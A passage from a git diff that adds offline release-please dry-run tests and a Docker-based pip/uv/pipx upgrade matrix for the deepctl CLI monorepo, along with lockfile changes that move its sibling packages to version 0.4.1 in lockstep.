+    print(("PASS " if ok else "FAIL ") + msg)
+    fails += not ok
+
+
+def git(*args: str) -> str:
+    return subprocess.run(
+        ["git", *args], cwd=repo, check=True, capture_output=True, text=True
+    ).stdout
+
+
+siblings = sorted(
+    p.parent.relative_to(repo).as_posix()
+    for p in (repo / "packages").glob("*/pyproject.toml")
+    if p.parent.name != "deepctl-plugin-example"
+)
+check(len(siblings) == 29, f"29 lockstep siblings ({len(siblings)})")
+version_files = [
+    p.relative_to(repo).as_posix()
+    for p in [repo / "src/deepctl/__init__.py", *repo.glob("packages/*/src/*/__init__.py")]
+    if "x-release-please-version" in p.read_text() and EXAMPLE not in p.as_posix()
+]
+allowed = {
+    "pyproject.toml",
+    "CHANGELOG.md",
+    ".github/.release-please-manifest.json",
+    *(f"{s}/pyproject.toml" for s in siblings),
+    *version_files,
+}
+changed = set(git("diff", "--name-only").split())
+check(not (changed - allowed), f"only lockstep files changed (unexpected: {sorted(changed - allowed)})")
+check(
+    allowed - {"CHANGELOG.md"} <= changed,
+    f"every lockstep file changed (missing: {sorted(allowed - {'CHANGELOG.md'} - changed)})",
+)
+check(not any(c.startswith(EXAMPLE) for c in changed), "plugin example untouched")
+
+# Every changed line is the same line with OLD replaced by NEW.
+for f in sorted(changed - {"CHANGELOG.md"}):
+    before = git("show", f"HEAD:{f}").splitlines()
+    after = (repo / f).read_text().splitlines()
+    same_shape = len(before) == len(after)
+    stray = [
+        (b, a)
+        for b, a in zip(before, after)
+        if b != a and a.replace(new, old) != b
+    ]
+    check(same_shape and not stray, f"{f}: only {old}->{new} substitutions {stray[:2]}")
+
+# Every lockstep version and first-party pin is NEW.
+req = re.compile(r"^(deepctl[a-z0-9-]*)\s*(.*)$")
+pins = 0
+for f in ["pyproject.toml", *(f"{s}/pyproject.toml" for s in siblings)]:
+    project = tomllib.loads((repo / f).read_text())["project"]
+    check(project["version"] == new, f"{f}: version {project['version']}")
+    for dep in project.get("dependencies", []):
+        m = req.match(dep)
+        if m:
+            pins += 1
+            if m.group(2) != f"=={new}":
+                check(False, f"{f}: pin {dep}")
+check(pins >= 29 + 29, f"{pins} first-party pins all =={new}")
+for f in version_files:
+    check(f'__version__ = "{new}"' in (repo / f).read_text(), f"{f}: __version__ {new}")
+manifest = json.loads((repo / ".github/.release-please-manifest.json").read_text())
+check(manifest.get(".") == new, f'manifest "." = {manifest.get(".")}')
+check(set(manifest) == {".", EXAMPLE}, f"manifest keys {sorted(manifest)}")
+print(f"assert_bump: {fails} failures")
+sys.exit(1 if fails else 0)
diff --git a/tests/upgrade/release-please/dry_run.js b/tests/upgrade/release-please/dry_run.js
new file mode 100644
index 00000000..af2641d8
--- /dev/null
+++ b/tests/upgrade/release-please/dry_run.js
@@ -0,0 +1,73 @@
+// Offline release-please dry run.
+//
+// Runs release-please's own Manifest (the code release.yml's action runs)
+// against a local git repository, with no GitHub API: commits, tags and file
+// contents come from git, the previous releases come from RELEASES (JSON), and
+// there are no open pull requests. It builds the release PR exactly as the
+// action would, then writes the PR's file changes into the working tree so
+// the caller can diff them.
+//
+// Usage: node dry_run.js REPO_DIR OUT_JSON
+//   RELEASES='[{"tagName":"v0.4.0","sha":"<sha>"}]'
+//   NODE_PATH must resolve `release-please` (pinned to the version the
+//   pinned release-please-action bundles).
+'use strict';
+const fs = require('fs');
+const path = require('path');
+const {Manifest} = require('release-please');
+const {LocalGitHub} = require('release-please/build/src/local-github');
+
+async function main() {
+  const [repoDir, outJson] = process.argv.slice(2);
+  const releases = JSON.parse(process.env.RELEASES || '[]');
+  const repository = {owner: 'deepgram', repo: 'cli', defaultBranch: 'main'};
+  const offlineApi = {
+    repository,
+    async *pullRequestIterator() {},
+    async *releaseIterator() {
+      let id = 1;
+      for (const r of releases) {
+        yield {
+          id: id++,
+          name: r.tagName,
+          tagName: r.tagName,
+          sha: r.sha,
+          notes: '',
+          url: `https://example.invalid/${r.tagName}`,
+          draft: false,
+        };
+      }
+    },
+  };
+  const github = new LocalGitHub(repository, offlineApi, repoDir);
+  const manifest = await Manifest.fromManifest(
+    github,
+    'main',
+    '.github/release-please-config.json',
+    '.github/.release-please-manifest.json'
+  );
+  const prs = await manifest.buildPullRequests();
+  const out = [];
+  for (const pr of prs) {
+    const changes = await github.buildChangeSet(pr.updates, 'main');
+    for (const [file, change] of changes) {
+      fs.writeFileSync(path.join(repoDir, file), change.content);
+    }
+    out.push({
+      title: pr.title.toString(),
+      headRefName: pr.headRefName,
+      releases: pr.body.releaseData.map(r => ({
+        component: r.component || '',
+        version: r.version ? r.version.toString() : '',
+      })),
+      files: [...changes.keys()].sort(),
+    });
+  }
+  fs.writeFileSync(outJson, JSON.stringify(out, null, 2) + '\n');
+  console.log(JSON.stringify(out.map(p => ({title: p.title, releases: p.releases})), null, 2));
+}
+
+main().catch(err => {
+  console.error(err);
+  process.exit(1);
+});
diff --git a/tests/upgrade/release-please/expect.py b/tests/upgrade/release-please/expect.py
new file mode 100644
index 00000000..711d3968
--- /dev/null
+++ b/tests/upgrade/release-please/expect.py
@@ -0,0 +1,18 @@
+"""Assert the release PRs a dry run proposed: exactly the given releases.
+
+Usage: python3 expect.py OUT_JSON COMPONENT=VERSION [...]   (VERSION * = any)
+"""
+
+import json
+import sys
+
+prs = json.load(open(sys.argv[1]))
+want = dict(a.split("=", 1) for a in sys.argv[2:])
+# The root component has include-component-in-tag false, so release-please
+# reports it with an empty component name.
+got = {(r["component"] or "deepctl"): r["version"] for pr in prs for r in pr["releases"]}
+ok = len(prs) == 1 and set(got) == set(want) and all(
+    v == "*" or got[k] == v for k, v in want.items()
+)
+print(("PASS" if ok else "FAIL") + f" one release PR proposing {want}: got {len(prs)} PR(s) {got}")
+sys.exit(0 if ok else 1)
diff --git a/tests/upgrade/release-please/run.sh b/tests/upgrade/release-please/run.sh
new file mode 100755
index 00000000..f7b9a3ce
--- /dev/null
+++ b/tests/upgrade/release-please/run.sh
@@ -0,0 +1,46 @@
+#!/bin/sh
+# Offline release-please dry run over a lockstep tree. Runs inside a Node
+# image with git and python3 (node:24), with no network.
+#
+# Mounts: /src (ro) the tree to test, /rp (ro) a directory whose node_modules
+# holds release-please at the version the pinned action bundles, /o (rw) out.
+# Scenarios, each from the same baseline tagged v<V> and
+# deepctl-plugin-example-v<example version>:
+#   A  feat: touching one package      -> one release (root), V+1 everywhere
+#   B  fix: touching the plugin example -> no root release, example only
+#   C  Release-As: X.Y.0 footer         -> X.Y.0 everywhere
+set -eu
+H=$(cd "$(dirname "$0")" && pwd)
+export NODE_PATH=/rp/node_modules HOME=/tmp GIT_AUTHOR_NAME=t GIT_AUTHOR_EMAIL=t@example.invalid \
+  GIT_COMMITTER_NAME=t GIT_COMMITTER_EMAIL=t@example.invalid
+V=$(python3 -c 'import json;print(json.load(open("/src/.github/.release-please-manifest.json"))["."])')
+EX=$(python3 -c 'import json;print(json.load(open("/src/.github/.release-please-manifest.json"))["packages/deepctl-plugin-example"])')
+baseline() {
+  rm -rf /tmp/r && cp -a /src /tmp/r && cd /tmp/r && rm -rf .git
+  git init -q -b main && git add -A && git commit -qm "chore: baseline"
+  git tag "v$V" && git tag "deepctl-plugin-example-v$EX"
+  SHA=$(git rev-parse HEAD)
+  export RELEASES="[{\"tagName\":\"v$V\",\"sha\":\"$SHA\"},{\"tagName\":\"deepctl-plugin-example-v$EX\",\"sha\":\"$SHA\"}]"
+}
+scenario() {  # ID FILE MESSAGE
+  baseline
+  echo "# $1" >> "$2"
+  git commit -qam "$3"
+  echo "== scenario $1: $(git log -1 --format=%s) (touches $2)"
+  node "$H/dry_run.js" /tmp/r "/o/release-please-$1.json"
+  git add -N . 2>/dev/null || true
+  git diff --stat > "/o/release-please-$1.diffstat"
+  git diff > "/o/release-please-$1.diff"
+}
+scenario A packages/deepctl-cmd-listen/src/deepctl_cmd_listen/__init__.py "feat(listen): stream interim results"
+NEXT=$(python3 -c "v='$V'.split('.');print(f'{v[0]}.{v[1]}.{int(v[2])+1}')")
+python3 "$H/expect.py" /o/release-please-A.json "deepctl=$NEXT"
+python3 "$H/assert_bump.py" /tmp/r "$V" "$NEXT"
+scenario B packages/deepctl-plugin-example/src/deepctl_plugin_example/__init__.py "fix(example): clarify the sample output"
+python3 "$H/expect.py" /o/release-please-B.json "deepctl-plugin-example=*"
+scenario C packages/deepctl-core/src/deepctl_core/__init__.py "feat(core): lockstep versions
+
+Release-As: 0.5.0"
+python3 "$H/expect.py" /o/release-please-C.json "deepctl=0.5.0"
+python3 "$H/assert_bump.py" /tmp/r "$V" 0.5.0
+echo "release-please dry run: all scenarios passed"
diff --git a/tests/upgrade/run.sh b/tests/upgrade/run.sh
new file mode 100755
index 00000000..0cb14366
--- /dev/null
+++ b/tests/upgrade/run.sh
@@ -0,0 +1,126 @@
+#!/bin/bash
+# Upgrade matrix for the lockstep release layout.
+#
+#   tests/upgrade/run.sh [lockstep|release-please|layout|all]     (default: lockstep)
+#
+# lockstep        Builds this tree's 30 wheels at the root version (CUR) and at
+#                 the next patch (NEXT), then, against a local PEP 503 index:
+#                 fresh installs of CUR with pip, uv pip, uv tool and pipx; -U of
+#                 every dist from a CUR install with NEXT published (pip and uv);
+#                 upgrades from each field version to CUR; and a third-party
+#                 major prerelease (sentry-sdk 3.0 beta) that must not resolve.
+# release-please  Runs the release-please version the release workflow uses over
+#                 this tree, offline, and checks one version and one tag.
+# layout          The planned 1.0 layout (relocated code, tombstones) against
+#                 the field versions: tests/upgrade/layout/.
+#
+# Network is used only to build wheels and fetch third-party wheels and tools.
+# Every container that installs or runs deepctl has --network none, telemetry
+# disabled and a dead telemetry endpoint. At most 4 cell containers run at once.
+#
+# Environment:
+#   WORK            work dir (default: ${TMPDIR:-/tmp}/deepctl-upgrade)
+#   FIELD_VERSIONS  published versions to upgrade from (default: "0.3.3 0.4.0")
+#   FIELD_DIR       optional dir of <version>/ wheel dirs for field versions
+#                   that are not on PyPI (their versions go in FIELD_VERSIONS too)
+#   SKIP_BUILD=1, SKIP_FETCH=1   reuse what is already in WORK
+set -uo pipefail
+HERE=$(cd "$(dirname "$0")" && pwd); REPO=$(cd "$HERE/../.." && pwd)
+WORK=${WORK:-${TMPDIR:-/tmp}/deepctl-upgrade}; mkdir -p "$WORK"; WORK=$(cd "$WORK" && pwd)
+FIELD_VERSIONS=${FIELD_VERSIONS:-"0.3.3 0.4.0"}
+IMG=deepctl-upgrade-matrix:py3.12
+TEL=(-e DEEPCTL_TELEMETRY_DISABLED=1 -e DEEPCTL_TELEMETRY_DSN=http://k@127.0.0.1:9/1)
+OFF=(--rm --network none --memory 1500m "${TEL[@]}")
+NET=(--rm --memory 1500m "${TEL[@]}")
+MODE=${1:-lockstep}
+
+source_tree(){ rm -rf "$WORK/src"; mkdir -p "$WORK/src"; git -C "$REPO" archive HEAD | tar -xf - -C "$WORK/src"; }
+
+build_lockstep(){
+  source_tree; rm -rf "$WORK/lockstep"; mkdir -p "$WORK/lockstep/cur" "$WORK/lockstep/next"
+  docker run "${NET[@]}" -v "$WORK/src:/src:ro" -v "$WORK/lockstep:/out" python:3.12-slim sh -ec '
+    pip -q install --disable-pip-version-check --root-user-action=ignore uv==0.13.6 packaging
+    cp -a /src /t && cd /t
+    uv build -q --all-packages --wheel --out-dir /out/cur
+    python -c "import tomllib;print(tomllib.load(open(\"pyproject.toml\",\"rb\"))[\"project\"][\"version\"])" > /out/cur/VERSION
+    NEXT=$(python -c "v=open(\"/out/cur/VERSION\").read().strip().split(\".\");print(\".\".join(v[:2]+[str(int(v[2])+1)]))")
+    sed -i "0,/^version = \"[^\"]*\"/s//version = \"$NEXT\"/" pyproject.toml
+    python scripts/check_dependency_floors.py --fix >/dev/null
+    uv build -q --all-packages --wheel --out-dir /out/next
+    echo "$NEXT" > /out/next/VERSION
+    rm -f /out/*/deepctl_plugin_example-*'
+}
+
+fetch_lockstep(){
+  mkdir -p "$WORK/wheelhouse" "$WORK/pins" "$WORK/field"
+  [ -n "${FIELD_DIR:-}" ] && cp -R "$FIELD_DIR"/. "$WORK/field/"
+  echo "$FIELD_VERSIONS" > "$WORK/FIELD_VERSIONS"
+  docker run "${NET[@]}" -e FIELD_VERSIONS="$FIELD_VERSIONS" -v "$WORK:/w" python:3.12-slim sh -ec '
+    export PIP_DISABLE_PIP_VERSION_CHECK=1 PIP_ROOT_USER_ACTION=ignore
+    pip -q install uv==0.13.6
+    FL="--find-links /w/lockstep/cur --find-links /w/lockstep/next"
+    for d in /w/field/*/; do [ -d "$d" ] && FL="$FL --find-links $d"; done
+    for V in $FIELD_VERSIONS; do
+      [ -d /w/field/$V ] && { pip download -q --only-binary :all: -d /w/wheelhouse $FL "deepctl==$V"; continue; }
+      echo "deepctl==$V" | uv pip compile -q --python-version 3.12 - -o /w/pins/env-$V.txt
+      pip wheel -q --no-deps -r /w/pins/env-$V.txt -w /w/wheelhouse
+      pip download -q --only-binary :all: -d /w/wheelhouse "deepctl==$V"
+    done
+    for V in $(cat /w/lockstep/cur/VERSION) $(cat /w/lockstep/next/VERSION); do
+      pip download -q --only-binary :all: -d /w/wheelhouse $FL "deepctl==$V"; done
+    pip download -q --no-deps --only-binary :all: -d /w/wheelhouse "sentry-sdk==3.0.0b2" "pip==25.3" "pip==26.2.2"
+    cd /w/wheelhouse && for f in /w/lockstep/*/*.whl /w/field/*/*.whl; do [ -e "$f" ] && rm -f "$(basename "$f")"; done; true'
+}
+
+run_lockstep(){
+  local groups=("fresh prerelease" "bump-pip" "bump-uv" "field")
+  for g in "${groups[@]}"; do
+    (
+      for G in $g; do
+        mkdir -p "$WORK/out/$G"; rm -f "$WORK/out/$G/results.jsonl"
+        docker run "${OFF[@]}" -v "$WORK:/w:ro" -v "$HERE:/s:ro" -v "$WORK/out/$G:/o" "$IMG" \
+          bash /s/cells/lockstep.sh "$G" > "$WORK/out/$G/run.log" 2>&1
+        echo "$G: $(grep -c '^PASS' "$WORK/out/$G/run.log") pass, $(grep -c '^FAIL' "$WORK/out/$G/run.log") fail"
+      done
+    ) &
+  done
+  wait
+  ! grep -h '^FAIL' "$WORK"/out/{fresh,prerelease,bump-pip,bump-uv,field}/run.log
+}
+
+run_release_please(){
+  mkdir -p "$WORK/rp" "$WORK/out/release-please"
+  [ -d "$WORK/rp/node_modules/release-please" ] || docker run --rm --memory 1500m -v "$WORK/rp:/rp" -w /rp node:24-slim \
+    sh -c 'npm init -y >/dev/null && npm install -q --no-audit --no-fund release-please@17.6.0 >/dev/null'
+  source_tree
+  docker run --rm --network none --memory 1500m -v "$WORK/src:/src:ro" -v "$WORK/rp:/rp:ro" \
+    -v "$HERE/release-please:/h:ro" -v "$WORK/out/release-please:/o" node:24 sh /h/run.sh
+}
+
+run_layout(){
+  source_tree
+  [ "${SKIP_BUILD:-}" = 1 ] || docker run "${NET[@]}" -v "$WORK/src:/src:ro" -v "$HERE/layout:/s:ro" -v "$WORK:/w" python:3.12 sh /s/build_wheels.sh
+  [ "${SKIP_FETCH:-}" = 1 ] || docker run "${NET[@]}" -v "$WORK:/w" -v "$WORK/out:/o" -v "$HERE/layout:/s:ro" python:3.12-slim sh /s/fetch.sh
+  docker run "${OFF[@]}" -v "$WORK:/w:ro" -v "$HERE/layout:/s:ro" "$IMG" \
+    python -I /s/static_checks.py /w/wheelhouse /w/wheels-0.5.0 /w/wheels-1.0.0rc1 /w/wheels-1.0.0 | tee "$WORK/out/static_checks.txt"
+  local groups=("pip siblings" "windows uv-latest" "uv-0.8 pipx" "next backedge rc")
+  script_for(){ case $1 in uv-latest) echo "m_uv.sh uv";; uv-0.8) echo "m_uv.sh uv08";; *) echo "m_$1.sh";; esac; }
+  for g in "${groups[@]}"; do
+    ( for G in $g; do mkdir -p "$WORK/out/$G"; rm -f "$WORK/out/$G/results.jsonl"
+        docker run "${OFF[@]}" -v "$WORK:/w:ro" -v "$HERE/layout:/s:ro" -v "$HERE/probe.py:/s/probe.py:ro" \
+          -v "$HERE/mkidx.py:/s/mkidx.py:ro" -v "$HERE/serve.py:/s/serve.py:ro" -v "$WORK/out/$G:/o" "$IMG" \
+          bash /s/$(script_for "$G") > "$WORK/out/$G/run.log" 2>&1
+        echo "$G: $(grep -c '^PASS' "$WORK/out/$G/run.log") pass, $(grep -c '^FAIL' "$WORK/out/$G/run.log") fail"; done ) &
+  done
+  wait
+  python3 "$HERE/layout/aggregate.py" "$WORK/out"
+}
+
+docker build -q -t "$IMG" "$HERE/image" >/dev/null
+case "$MODE" in
+  lockstep) [ "${SKIP_BUILD:-}" = 1 ] || build_lockstep; [ "${SKIP_FETCH:-}" = 1 ] || fetch_lockstep; run_lockstep ;;
+  release-please) run_release_please ;;
+  layout) run_layout ;;
+  all) run_release_please && { [ "${SKIP_BUILD:-}" = 1 ] || build_lockstep; [ "${SKIP_FETCH:-}" = 1 ] || fetch_lockstep; run_lockstep; } && run_layout ;;
+  *) sed -n 2,26p "$0"; exit 2 ;;
+esac
diff --git a/tests/upgrade/serve.py b/tests/upgrade/serve.py
new file mode 100644
index 00000000..92467fac
--- /dev/null
+++ b/tests/upgrade/serve.py
@@ -0,0 +1,9 @@
+"""Static server for the simulated index; no-cache so state flips are seen immediately."""
+import functools, http.server, sys
+class H(http.server.SimpleHTTPRequestHandler):
+    def end_headers(self):
+        self.send_header("Cache-Control", "max-age=0, must-revalidate")
+        super().end_headers()
+    def log_message(self, *a):
+        pass
+http.server.ThreadingHTTPServer(("127.0.0.1", 8000), functools.partial(H, directory=sys.argv[1])).serve_forever()
diff --git a/uv.lock b/uv.lock
index 1844338e..c828a3b2 100644
--- a/uv.lock
+++ b/uv.lock
@@ -897,7 +897,7 @@ wheels = [
 
 [[package]]
 name = "deepctl"
-version = "0.4.0"
+version = "0.4.1"
 source = { editable = "." }
 dependencies = [
     { name = "click" },
@@ -1081,10 +1081,11 @@ testing = [
 
 [[package]]
 name = "deepctl-cmd-api"
-version = "0.0.2"
+version = "0.4.1"
 source = { editable = "packages/deepctl-cmd-api" }
 dependencies = [
     { name = "click" },
+    { name = "deepctl" },
     { name = "deepctl-core" },
     { name = "httpx" },
     { name = "pydantic" },
@@ -1094,6 +1095,7 @@ dependencies = [
 [package.metadata]
 requires-dist = [
     { name = "click", specifier = ">=8.0.0" },
+    { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
     { name = "httpx", specifier = ">=0.24.0" },
     { name = "pydantic", specifier = ">=2.0.0" },
@@ -1102,10 +1104,11 @@ requires-dist = [
 
 [[package]]
 name = "deepctl-cmd-billing"
-version = "0.1.0"
+version = "0.4.1"
 source = { editable = "packages/deepctl-cmd-billing" }
 dependencies = [
     { name = "click" },
+    { name = "deepctl" },
     { name = "deepctl-core" },
     { name = "pydantic" },
     { name = "rich" },
@@ -1114,6 +1117,7 @@ dependencies = [
 [package.metadata]
 requires-dist = [
     { name = "click", specifier = ">=8.0.0" },
+    { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
     { name = "pydantic", specifier = ">=2.0.0" },
     { name = "rich", specifier = ">=13.0.0" },
@@ -1121,10 +1125,11 @@ requires-dist = [
 
 [[package]]
 name = "deepctl-cmd-completion"
-version = "0.0.3"
+version = "0.4.1"
 source = { editable = "packages/deepctl-cmd-completion" }
 dependencies = [
     { name = "click" },
+    { name = "deepctl" },
     { name = "deepctl-core" },
     { name = "pydantic" },
     { name = "rich" },
@@ -1133,6 +1138,7 @@ dependencies = [
 [package.metadata]
 requires-dist = [
     { name = "click", specifier = ">=8.0.0" },
+    { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
     { name = "pydantic", specifier = ">=2.0.0" },
     { name = "rich", specifier = ">=13.0.0" },
@@ -1140,10 +1146,11 @@ requires-dist = [
 
 [[package]]
 name = "deepctl-cmd-debug"
-version = "0.1.13"
+version = "0.4.1"
 source = { editable = "packages/deepctl-cmd-debug" }
 dependencies = [
     { name = "click" },
+    { name = "deepctl" },
     { name = "deepctl-core" },
     { name = "pydantic" },
     { name = "rich" },
@@ -1152,6 +1159,7 @@ dependencies = [
 [package.metadata]
 requires-dist = [
     { name = "click", specifier = ">=8.0.0" },
+    { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
     { name = "pydantic", specifier = ">=2.0.0" },
     { name = "rich", specifier = ">=13.0.0" },
@@ -1159,10 +1167,11 @@ requires-dist = [
 
 [[package]]
 name = "deepctl-cmd-debug-audio"
-version = "0.1.14"
+version = "0.4.1"
 source = { editable = "packages/deepctl-cmd-debug-audio" }
 dependencies = [
     { name = "click" },
+    { name = "deepctl" },
     { name = "deepctl-core" },
     { name = "ffmpeg-python" },
     { name = "httpx" },
@@ -1173,6 +1182,7 @@ dependencies = [
 [package.metadata]
 requires-dist = [
     { name = "click", specifier = ">=8.0.0" },
+    { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
     { name = "ffmpeg-python", specifier = ">=0.2.0" },
     { name = "httpx", specifier = ">=0.24.0" },
@@ -1182,11 +1192,12 @@ requires-dist = [
 
 [[package]]
 name = "deepctl-cmd-debug-browser"
-version = "0.1.12"
+version = "0.4.1"
 source = { editable = "packages/deepctl-cmd-debug-browser" }
 dependencies = [
     { name = "aiohttp" },
     { name = "click" },
+    { name = "deepctl" },
     { name = "deepctl-core" },
     { name = "httpx" },
     { name = "pydantic" },
@@ -1203,6 +1214,7 @@ dev = [
 requires-dist = [
     { name = "aiohttp", specifier = ">=3.9.0" },
     { name = "click", specifier = ">=8.0.0" },
+    { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
     { name = "httpx", specifier = ">=0.24.0" },
     { name = "pydantic", specifier = ">=2.0.0" },
@@ -1214,10 +1226,11 @@ provides-extras = ["dev"]
 
 [[package]]
 name = "deepctl-cmd-debug-network"
-version = "0.1.12"
+version = "0.4.1"
 source = { editable = "packages/deepctl-cmd-debug-network" }
 dependencies = [
     { name = "click" },
+    { name = "deepctl" },
     { name = "deepctl-core" },
     { name = "httpx" },
     { name = "pydantic" },
@@ -1228,6 +1241,7 @@ dependencies = [
 [package.metadata]
 requires-dist = [
     { name = "click", specifier = ">=8.0.0" },
+    { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
     { name = "httpx", specifier = ">=0.24.0" },
     { name = "pydantic", specifier = ">=2.0.0" },
@@ -1237,11 +1251,12 @@ requires-dist = [
 
 [[package]]
 name = "deepctl-cmd-debug-probe"
-version = "0.0.2"
+version = "0.4.1"
 source = { editable = "packages/deepctl-cmd-debug-probe" }
 dependencies = [
     { name = "aiohttp" },
     { name = "click" },
+    { name = "deepctl" },
     { name = "deepctl-core" },
     { name = "deepctl-shared-utils" },
     { name = "pydantic" },
@@ -1252,6 +1267,7 @@ dependencies = [
 requires-dist = [
     { name = "aiohttp", specifier = ">=3.11.0" },
     { name = "click", specifier = ">=8.0.0" },
+    { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
     { name = "deepctl-shared-utils", editable = "packages/deepctl-shared-utils" },
     { name = "pydantic", specifier = ">=2.0.0" },
@@ -1260,10 +1276,11 @@ requires-dist = [
 
 [[package]]
 name = "deepctl-cmd-debug-toolkit"
-version = "0.2.0"
+version = "0.4.1"
 source = { editable = "packages/deepctl-cmd-debug-toolkit" }
 dependencies = [
     { name = "click" },
+    { name = "deepctl" },
     { name = "deepctl-core" },
     { name = "httpx" },
     { name = "platformdirs" },
@@ -1282,6 +1299,7 @@ dev = [
 [package.metadata]
 requires-dist = [
     { name = "click", specifier = ">=8.1.7" },
+    { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
     { name = "httpx", specifier = ">=0.27.0" },
     { name = "mypy", marker = "extra == 'dev'", specifier = ">=1.13.0" },
@@ -1296,10 +1314,11 @@ provides-extras = ["dev"]
 
 [[package]]
 name = "deepctl-cmd-ffprobe"
-version = "0.0.3"
+version = "0.4.1"
 source = { editable = "packages/deepctl-cmd-ffprobe" }
 dependencies = [
     { name = "click" },
+    { name = "deepctl" },
     { name = "deepctl-core" },
     { name = "deepctl-shared-utils" },
     { name = "pydantic" },
@@ -1309,6 +1328,7 @@ dependencies = [
 [package.metadata]
 requires-dist = [
     { name = "click", specifier = ">=8.0.0" },
+    { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
     { name = "deepctl-shared-utils", editable = "packages/deepctl-shared-utils" },
     { name = "pydantic", specifier = ">=2.0.0" },
@@ -1317,10 +1337,11 @@ requires-dist = [
 
 [[package]]
 name = "deepctl-cmd-init"
-version = "0.1.0"
+version = "0.4.1"
 source = { editable = "packages/deepctl-cmd-init" }
 dependencies = [
     { name = "click" },
+    { name = "deepctl" },
     { name = "deepctl-core" },
     { name = "httpx" },
     { name = "pydantic" },
@@ -1330,6 +1351,7 @@ dependencies = [
 [package.metadata]
 requires-dist = [
     { name = "click", specifier = ">=8.0.0" },
+    { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
     { name = "httpx", specifier = ">=0.24.0" },
     { name = "pydantic", specifier = ">=2.0.0" },
@@ -1338,10 +1360,11 @@ requires-dist = [
 
 [[package]]
 name = "deepctl-cmd-keys"
-version = "0.1.0"
+version = "0.4.1"
 source = { editable = "packages/deepctl-cmd-keys" }
 dependencies = [
     { name = "click" },
+    { name = "deepctl" },
     { name = "deepctl-core" },
     { name = "pydantic" },
     { name = "rich" },
@@ -1350,6 +1373,7 @@ dependencies = [
 [package.metadata]
 requires-dist = [
     { name = "click", specifier = ">=8.0.0" },
+    { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
     { name = "pydantic", specifier = ">=2.0.0" },
     { name = "rich", specifier = ">=13.0.0" },
@@ -1357,10 +1381,11 @@ requires-dist = [
 
 [[package]]
 name = "deepctl-cmd-listen"
-version = "0.0.14"
+version = "0.4.1"
 source = { editable = "packages/deepctl-cmd-listen" }
 dependencies = [
     { name = "click" },
+    { name = "deepctl" },
     { name = "deepctl-core" },
     { name = "deepctl-shared-utils" },
     { name = "deepgram-captions" },
@@ -1377,6 +1402,7 @@ dependencies = [
 [package.metadata]
 requires-dist = [
     { name = "click", specifier = ">=8.0.0" },
+    { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
     { name = "deepctl-shared-utils", editable = "packages/deepctl-shared-utils" },
     { name = "deepgram-captions", specifier = ">=2.0.0" },
@@ -1389,10 +1415,11 @@ requires-dist = [
 
 [[package]]
 name = "deepctl-cmd-login"
-version = "0.2.0"
+version = "0.4.1"
 source = { editable = "packages/deepctl-cmd-login" }
 dependencies = [
     { name = "click" },
+    { name = "deepctl" },
     { name = "deepctl-core" },
     { name = "deepgram-sdk" },
     { name = "pydantic" },
@@ -1402,6 +1429,7 @@ dependencies = [
 [package.metadata]
 requires-dist = [
     { name = "click", specifier = ">=8.0.0" },
+    { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
     { name = "deepgram-sdk", specifier = ">=7.7.0,<8" },
     { name = "pydantic", specifier = ">=2.0.0" },
@@ -1410,10 +1438,11 @@ requires-dist = [
 
 [[package]]
 name = "deepctl-cmd-mcp"
-version = "0.1.15"
+version = "0.4.1"
 source = { editable = "packages/deepctl-cmd-mcp" }
 dependencies = [
     { name = "click" },
+    { name = "deepctl" },
     { name = "deepctl-core" },
     { name = "mcp" },
     { name = "pydantic" },
@@ -1433,6 +1462,7 @@ dev = [
 [package.metadata]
 requires-dist = [
     { name = "click", specifier = ">=8.1.7" },
+    { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
     { name = "mcp", specifier = ">=1.22.0,<2.0.0" },
     { name = "mypy", marker = "extra == 'dev'", specifier = ">=1.13.0" },
@@ -1448,10 +1478,11 @@ provides-extras = ["dev"]
 
 [[package]]
 name = "deepctl-cmd-members"
-version = "0.1.0"
+version = "0.4.1"
 source = { editable = "packages/deepctl-cmd-members" }
 dependencies = [
     { name = "click" },
+    { name = "deepctl" },
     { name = "deepctl-core" },
     { name = "pydantic" },
     { name = "rich" },
@@ -1460,6 +1491,7 @@ dependencies = [
 [package.metadata]
 requires-dist = [
     { name = "click", specifier = ">=8.0.0" },
+    { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
     { name = "pydantic", specifier = ">=2.0.0" },
     { name = "rich", specifier = ">=13.0.0" },
@@ -1467,10 +1499,11 @@ requires-dist = [
 
 [[package]]
 name = "deepctl-cmd-models"
-version = "0.1.1"
+version = "0.4.1"
 source = { editable = "packages/deepctl-cmd-models" }
 dependencies = [
     { name = "click" },
+    { name = "deepctl" },
     { name = "deepctl-core" },
     { name = "pydantic" },
     { name = "rich" },
@@ -1479,6 +1512,7 @@ dependencies = [
 [package.metadata]
 requires-dist = [
     { name = "click", specifier = ">=8.0.0" },
+    { name = "deepctl", editable = "." },
     { name = "deepctl-core", editable = "packages/deepctl-core" },
     { name = "pydantic", specifier = ">=2.0.0" },
     { name = "rich", specifier = ">=13.0.0" },
@@ -1486,9 +1520,11 @@ requires-dist = [
 
 [[package]]
 name = "deepctl-cmd-plugin"
-version = "0.1.14"
+version = "0.4.1"
 source = { editable = "packages/deepctl-cmd-plugin" }
 dependencies = [
+    { name = "deepctl" },
+    { name = "deepctl-cmd-update" },
     { name = "deepctl-core" },
     { name = "packaging" },
     { name = "toml" },
@@ -1496,6 +1532,8 @@ dependencies = [
 
 [package.metadata]
 requires-dist = [
+    { name = "deepctl", editable = "." },
+    { name = "deepctl-cmd-update", editable = "packages/deepctl-cmd-update" },
